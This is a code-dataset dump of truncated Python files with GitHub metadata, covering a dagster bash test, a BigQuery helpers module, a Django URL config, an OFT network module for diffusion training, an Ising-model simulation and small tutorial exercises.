solid = bash_command_solid('echo "this is a test message: $MY_ENV_VAR"', name='foobar')
result = execu... | helloworld/continuous-dagster | deploy/dagster_modules/libraries/dagster-bash/dagster_bash_tests/test_solids.py | test_solids.py | py | 2,443 | python | en | code | 2 | github-code | 36 | [
{
"api_name": "dagster_bash.bash_command_solid",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "dagster.execute_solid",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "pytest.raises",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "d... |
16858298223 | from collections import OrderedDict
order = OrderedDict()
for i in range(int(input())):
a = input().split()
order[' '.join(a[:-1])] = order.get(' '.join(a[:-1]), 0) + int(a[-1])
for i, j in order.items():
print(i, j)
'''
input:
9
BANANA FRIES 12
POTATO CHIPS 30
APPLE JUICE 10
CANDY 5
APPLE JUICE 10
CANDY... | polemeest/daily_practice | hackerrank_ordered_dict.py | hackerrank_ordered_dict.py | py | 432 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "collections.OrderedDict",
"line_number": 3,
"usage_type": "call"
}
] |
21604577101 | import base64
from collections import OrderedDict
import datetime
from google.cloud._helpers import UTC
from google.cloud._helpers import _date_from_iso8601_date
from google.cloud._helpers import _datetime_from_microseconds
from google.cloud._helpers import _datetime_to_rfc3339
from google.cloud._helpers import _RFC33... | a0x8o/kafka | sdks/python/.tox/lint/lib/python2.7/site-packages/google/cloud/bigquery/_helpers.py | _helpers.py | py | 19,540 | python | en | code | 59 | github-code | 36 | [
{
"api_name": "base64.decodestring",
"line_number": 45,
"usage_type": "call"
},
{
"api_name": "google.cloud._helpers._to_bytes",
"line_number": 45,
"usage_type": "call"
},
{
"api_name": "google.cloud._helpers._datetime_from_microseconds",
"line_number": 52,
"usage_type": ... |
295139608 | import sqlite3
conn = sqlite3.connect('coffee_main.db')
c = conn.cursor()
with conn:
c.execute("SELECT * FROM coffee_products")
coffees = c.fetchall()
c.execute("SELECT * FROM coffee_components")
component_quantity = c.fetchall()
quantity = []
name = []
for comp_name, comp_quant in component_quant... | arayik-99/Coffee-Machine | src/coffee_database.py | coffee_database.py | py | 779 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "sqlite3.connect",
"line_number": 3,
"usage_type": "call"
}
] |
31316835712 | from django.conf.urls import url
from.import views
# from django.contrib.auth.decorators import permission_required
urlpatterns = [
url(r'^$', views.index, name='index'),
url(r'^nova-conta$', views.novaConta, name='novaConta'),
url(r'^cadastra-nova-conta$', views.novoUsuario, name='novoUsuario'),
url(r... | Sosantos/bancoamaro | bancoamaro/urls.py | urls.py | py | 710 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "django.conf.urls.url",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "django.conf.urls.url",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "django.conf.urls.url",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "django.co... |
31188070789 | #!/usr/bin/env python
import json
import numpy as np
from scipy import stats
import os
import sys
from pathlib import Path
import pandas as pd
#from sklearn.cluster import KMeans
from scipy.cluster.vq import vq, kmeans2
# Choosing config file
configFilename = "config-sample.json"
argCount = len(sys.argv)
if(argCoun... | FarnazZE/bnbl-brainlife-clustering-edge-time-series | main.py | main.py | py | 1,486 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "sys.argv",
"line_number": 17,
"usage_type": "attribute"
},
{
"api_name": "sys.argv",
"line_number": 19,
"usage_type": "attribute"
},
{
"api_name": "os.path.exists",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number... |
39553556437 | # OFT network module
import math
import os
from typing import Dict, List, Optional, Tuple, Type, Union
from diffusers import AutoencoderKL
from transformers import CLIPTextModel
import numpy as np
import torch
import re
RE_UPDOWN = re.compile(r"(up|down)_blocks_(\d+)_(resnets|upsamplers|downsamplers|attentions)_(\d+... | kohya-ss/sd-scripts | networks/oft.py | oft.py | py | 14,491 | python | en | code | 3,347 | github-code | 36 | [
{
"api_name": "re.compile",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "torch.nn",
"line_number": 16,
"usage_type": "attribute"
},
{
"api_name": "torch.nn",
"line_number": 24,
"usage_type": "attribute"
},
{
"api_name": "torch.Tensor",
"line_numbe... |
26374121947 | import numpy as np
import matplotlib.pyplot as plt
def MC_Ising_model(beta, vis = False, N = 50, rng = 3000):
s = np.random.choice([-1, 1],[N,N])
numbers = np.arange(N*N).reshape(N,N)
M_list = []
blacks = ((numbers//N + numbers%N)%2).astype(bool)
whites = np.logical_not(blacks)
if vis == True:
plt.rcP... | czaro2k/Ising-Model | MC_Ising.py | MC_Ising.py | py | 1,694 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "numpy.random.choice",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "numpy.random",
"line_number": 5,
"usage_type": "attribute"
},
{
"api_name": "numpy.arange",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "numpy.logical_not",
... |
12323619959 | # -*- coding: utf-8 -*-
"""
Created on Wed Oct 26 09:28:19 2022
@author: bjk_a
"""
#1.kutuphaneler
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
# veri yukleme
veriler = pd.read_csv('maaslar.csv')
x = veriler.iloc[:,1:2]
y = veriler.iloc[:,2:]
X = x.values
Y = y.values
... | SamedAkbulut/Machine_Learning | ML_17_Decision_tree.py | ML_17_Decision_tree.py | py | 2,633 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "pandas.read_csv",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "sklearn.linear_model.LinearRegression",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot.scatter",
"line_number": 27,
"usage_type": "call"
},
{
"a... |
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